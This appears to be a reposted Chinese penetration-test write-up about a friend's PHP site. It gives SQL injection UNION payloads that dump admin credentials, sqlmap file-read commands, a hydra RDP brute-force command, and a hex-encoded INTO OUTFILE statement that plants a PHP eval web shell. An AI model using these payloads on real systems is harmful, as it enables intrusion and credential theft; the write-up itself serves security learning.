记一次峰回路转的注入

news2025/2/26 19:50:17

0X01 背景

自己之前写过一篇记录,当时是由于之前是一位校友刚做开发,叫我友情帮忙测试一波,由于是开发的新手,漏洞比较多,所以直接从注入开始讲起,但是到getshell的过程也算是一场峰回路转再跌跌撞撞的路程。

0x02 注入测试

判断注入是否存在

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 or '1'='1'

显示数据

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 or '1'='2'

显示非原本数据

判断存在sql注入后,通过order by 子句判断有几个字段

Order by 从1开始,大概选个数逐个去尝试,二分法是最普通的,还可以开根法,还有是方程式法,再好玩一点就动态规划。推荐下面这篇文章,非常有趣,很好懂。

https://mp.weixin.qq.com/s/nMC55qvgsQNQfncAEOM20Q

试到前一个数返回正常,后一个报错,就说明长度是多少了,示例如下

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 order by 27

返回正常

那试试payload

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 order by 28

28返回不正常

那么可以说明他字段个数是27,而且后面要用到这个数字。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

第二步:联合查询

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

提交后,可以看到页面中出现可以被显示的字段编号,我们通过在响应位置替换成我们需要的查询字段和表就可以了。

对应的数字就会显示在页面中,我把对应数字改成sql语句,就会得到sql查询结果

举例子:

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,22,23,24,25,26,27

知识点补充:

database()查看当前数据库

@@version查询mysql版本

@@datadir查询数据库路径

我把原来的5,15,21改成查数据库名,mysql版本,数据路径,就会在相应的地方显示出来

查询所有数据库名:group_concat(SCHEMA_NAME)

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(SCHEMA_NAME),23,24,25,26,27 from information_schema.schemata

查询当前数据库所有表名:group_concat(table_name)

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(table_name),23,24,25,26,27 from information_schema.tables where table_schema=database()

上述图发现表名:admin,

要查询查询表中的字段先把表名转换为16进制(标黄为表名的16进制转换值)

group_concat(column_name)

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(column_name),23,24,25,26,27 from information_schema.columns where table_name=0x61646D696E

发现其字段有

user_id,username,userpassword

下一步只需要查询username和userpassword即可

group_concat(username,0x7c,userpassword)

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(username,0x7c,userpassword),23,24,25,26,27 from admin

0x03 峰回路转

到此,我们知道了知道用户名为admin,密码为123了

在之前已经在信息收集的地方收集到后台了,然后尝试登陆,登陆成功了

登进后台发现,是真的没有上传地方阿,也没有其他包含,redis其他服务,学信息安全的男生都不会轻易认输,再查看之前的扫描结果,灵机一动还有一根救命稻草,3389!

nmap -Pn -v -p 3306 11X.XX.XXX.XX

Starting Nmap 7.10 ( https://nmap.org ) at 2015-04-04 22:54

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers

Initiating SYN Stealth Scan at 22:54

Scanning 11X.XX.XXX.XX [1000 port]

Completed SYN Stealth Scan at 22:54, 0.18s elapsed (1 total ports)

Nmap scan report for 11X.XX.XXX.XX

Host is up (0.013s latency).

PORT STATE SERVICE

80/tcp open http

3306/tcp open mysql

3389/tcp open ms-wbt-server

拿出我的字典,再拿出我的hydra,快速在pentestbox 敲下:

hydra -L F:\cybersec\usrname.txt -P F:\cybersec\ password.txt -Vv -t 1 -w 3 -W 5 11X.XX.XXX.XX rdp

结果跑了自己一个心灰意冷,毫无结果。

不过还发现开放3306端口,不是有注入吗,直接连数据库getshell呀

太心急想getshell不一步步手工了,sqlmap走起

查看权限

sqlmap -u http:// 11X.XX.XXX.XX /test/sub_hack.php?id=231 --current-user --dbms=mysql -v 3

current user: 'root@localhost'

当前用户是root

引发报错找到绝对路径+root权限那我是不是可以写shell了

sqlmap -r C:\Users\sqlpost.txt --time-sec 3 --dbms=mysql --random-agent -D mysql -T user -C User,Password --dump

参数:--file-write,--file-dest

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。

命令如下:

结果去访问,又给了自己一个心灰意冷,404

Root密码md5丢到解密无果。。。

才没有放弃,醒悟发觉sqlmap有个参数—file-read,发现可以下载页面文件

下载下来就是不是能看到数据库连接的信息。

sqlmap -u http://11X.XX.XXX.XX/test/sub_hack.php?id=231 --file-read "C:\\phpstudy\www\test\sub_hack.php" --dbms=mysql -v 3

舒服,源码到手,同时发现include数据库连接页面,以同样的方法获取数据库连接密码,开放3306直接连上去,

惊喜,意外

正常思路应该是这样的

SELECT 0x3C3F706870206576616C28245F504F53545B276C696E65275D293B3F3E INTO OUTFILE "C:\phpStudy\WWW\test\shell.php";

直接写shell上去

不过在这之前我尝试了下用他数据库的密码尝试去登陆远程桌面,又一个惊喜,熟悉的对话框。

然后就到此结束了

0x04 划重点

后来才知道现在写shell的函数INTO OUTFILE默认是禁用的了

MySQL在安装时,默认的限制了文件导入导出的路径,是通过配置secure_file_priv的值来实现的

SELECT @@global.secure_file_priv;

查询当前设置的路径

只能通过修改配置文件来修改

0x05 文末福利

最近有需求参考写了一个实时删新增文件的批处理文件。用于对抗赛中防止对手上传webshell的脚本上传秒删。只要保存为bat格式双击运行就ok

@echo off&Setlocal enabledelayedexpansion

REM 指定路径

cd /d C:\Users\\Desktop\1

:clearwebshell

for /r . %%a in (*) do (REM 指定时间,超过此时间的文件就删 if "%%~ta" gtr "2018/06/19 21:41" echo had been delete "%%a" )

@ping nullnullnull -n 1 >nul

goto :clearwebshell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/468736.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

浏览器内核,chrominum = blink = webkit+

借鉴:浏览器内核有几种?深度解析浏览器内核工作原理和版本区别 1.什么是浏览器内核 广义上:浏览器内核 js引擎 渲染引擎。但是,由于js引擎越来越独立(比如chrome的V8)。所以,目前 浏览器内核 渲染引擎。 2、市面上…

hibernate多对多关系表的搭建和‘增删改查’

hibernate框架——数据库的多对多关系! 众所周知,数据库有三种数据模型,一对一,一对多,多对多,在前面的文章中主要介绍了一对一和一对多的表关系搭建和使用sql语句进行增删改查。 使用hibernate框架主要分…

web集群第二次作业

文章目录 1. 对比 LVS 负载均衡群集的 NAT 模式和 DR 模式,比较其各自的优势 。2. 基于 CentOS 7 构建 LVS-DR 群集。1、环境准备2、安装httpd准备两个web页面3、配置LVS负载均衡服务4、手工在RS端绑定VIP,添加本机访问VIP的路由信息5、手工在RS端抑制AR…

Turtle海龟画图

介绍 简单的一个窗口绘图工具。 提供一个小海龟,可以看做一个机器人,能够听得懂有限的命令。 三种命令 运动命令 forward(d) 向前移动D长度 backward(d) 向后移动D长度 right(d) 向右转动多少度 left(d) 向左转动多少度 goto(x,y) …

我让AI帮忙生成算法,Auto-GPT对比ChatGPT、文心一言,结果出人意料...

🍏🍐🍊🍑🍒🍓🫐🥑🍋🍉🥝 我让AI帮忙生成算法,Auto-GPT对比ChatGPT、文心一言,结果出人意料… 文章目录 &#x…

如何在 Python 中获取字典交集

本文将讨论在 Python 中对两个或多个字典执行交集的不同方法。 文章目录 Python字典在 Python 中使用字典推导来交叉两个字典使用按位 & 运算符在 Python 中对两个字典进行交集使用 Set intersection() 方法在 Python 中将两个字典相交在 Python 中用于交叉多个字典的方法总…

C-预处理

文章目录 预处理宏定义数值宏常量字符串宏常量使用宏充当注释去注释和宏替换谁先进行 用define宏定义表达式在if判断语句之后多条语句没有{}导致出错 定义不能带空格 #undef 条件编译#ifdef ifndef:判定的是宏是否被定义#if-#endif:宏定义是否为真宏定义进行多条件筛选#ifdef &…

听好程序员一句劝!零基础这样学Java才是正确的方式!

有一说一,Java还是现在很多新手入门学习的首选之一,新手学Java入门从哪里开始学?很多入门的小伙伴都会疑惑,今天好程序员给大家分享一下,超适合菜鸟入门的 Java学习路线 第一步,JavaSE,这是Java…

工具类——Java导出EXCEL2(设置样式、加载并填充图片、加载指定模板、大数据量设置窗口大小与刷新频率)

文章目录 一、POI设置样式二、POI导出图片1.解释XSSFClientAnchor 三、加载指定模板导出四、👉Workbook、XSSFWorkbook与SXSSFWorkbook1.大数据量导出1)根据数据量选择XSSFWorkbook,还是SXSSFWorkbook 书接上篇:工具类——Java 浏…

机器学习笔记之密度聚类——DBSCAN方法(Python代码实现)

机器学习笔记之密度聚类——DBSCAN方法[Python代码实现] 引言基本思想概念介绍算法过程完整算法描述 DBSCAN \text{DBSCAN} DBSCAN的优点和缺陷 2023/4/25 \text{2023/4/25} 2023/4/25补充:基于 Python \text{Python} Python的代码实现 引言 本节将介绍密度聚类——…

【MySQL】索引与事务

索引: 什么是索引?为什么要⽤索引 为了提高查询效率而使用的一种数据结构把数据组织起来; 例如生活中的字典:声母,韵母,声调。 创建索引:自动创建的主键约束,唯一约束&#xf…

qiankun-微前端

项目结构 主应用: vue3 vite 子应用1:vue3 vite 背景介绍 项目采用了vue3vite构建的,又因为qiankun不支持vite,所以需要引用 vite-plugin-qiankun 插件来解决 主应用–改造 安装 qiankun npm install qiankun重新定义一个…

浅浅入门SpringBoot之Thymeleaf模板

Thymeleaf是一个流行的模板引擎,该模板引擎采用Java语言开发模板引擎是一个技术名词,是跨领域跨平台的概念,在Java语言体系下有模板引擎,在C#、PHP语言体系下也有模板引擎,甚至在 Javascript中也会用到模板引擎技术,Java生态下的模板引擎有 Thymeleaf、 Freemaker、Ⅴ elocity、…

【EMQX】EMQX管理控制台即EMQX Dashboard简介

EMQX管理控制台 一、EMQX Dashboard简介二、主要功能2.1 监控和管理 EMQX 集群中的相关信息与数据2.2 访问控制(认证与授权)管理2.3 数据集成2.4 在线配置热更新2.5 管理系统扩展能力2.6 全面的诊断工具 三、启动3.1 首次登录3.2 忘记密码 四、配置 Dash…

我老板:你根本不懂 React!

前言 我已经使用 React 多年,我确信我非常了解它,但最近我的老板对我说,“你根本不知道 React,你对它一无所知。” 我很生他的气,但他指出了我程序中的三个漏洞。我现在把它记录下来,也分享给还不知道的小…

用好ChatGPT,毕业直接走上人生巅峰

毕业论文交上去了,学分也攒齐了。考研没上岸的准毕业生们接下来要面对的不是惨烈的秋招,就是蹲家准备二战。生活终于要对各位小可爱们动手啦! 不想默默承受社会的毒打? 不愿在屡战屡败屡败屡战的压力下秃头? 想必各位…

API 都有这些功能,你真的都知道么?

API(应用程序编程接口)可以提供以下功能: 数据传输:API可以在应用程序之间传输数据,包括发送和获取数据、更新数据等。 访问功能: API 可以调用另一个系统或应用程序的某些功能,例如获取天气,查…

基于无线传感器网络(WSN) 查找两个节点之间的最短路径并发送数据(Matlab代码实现)

目录 💥1 概述 📚2 运行结果 🎉3 参考文献 👨‍💻4 Matlab代码 💥1 概述 本代码基于无线传感器网络,在两个节点(源节点和目标节点)之间找到最短路径,并开…

Java学习过程(韩顺平661-665)

网络通信是指在计算机网络中,通过网络连接的设备之间进行数据交换的过程。网络通信可以分为两种类型:有线网络通信和无线网络通信。 有线网络通信主要通过物理介质(如光纤、双绞线等)来传输数据,其中最常用的协议是以…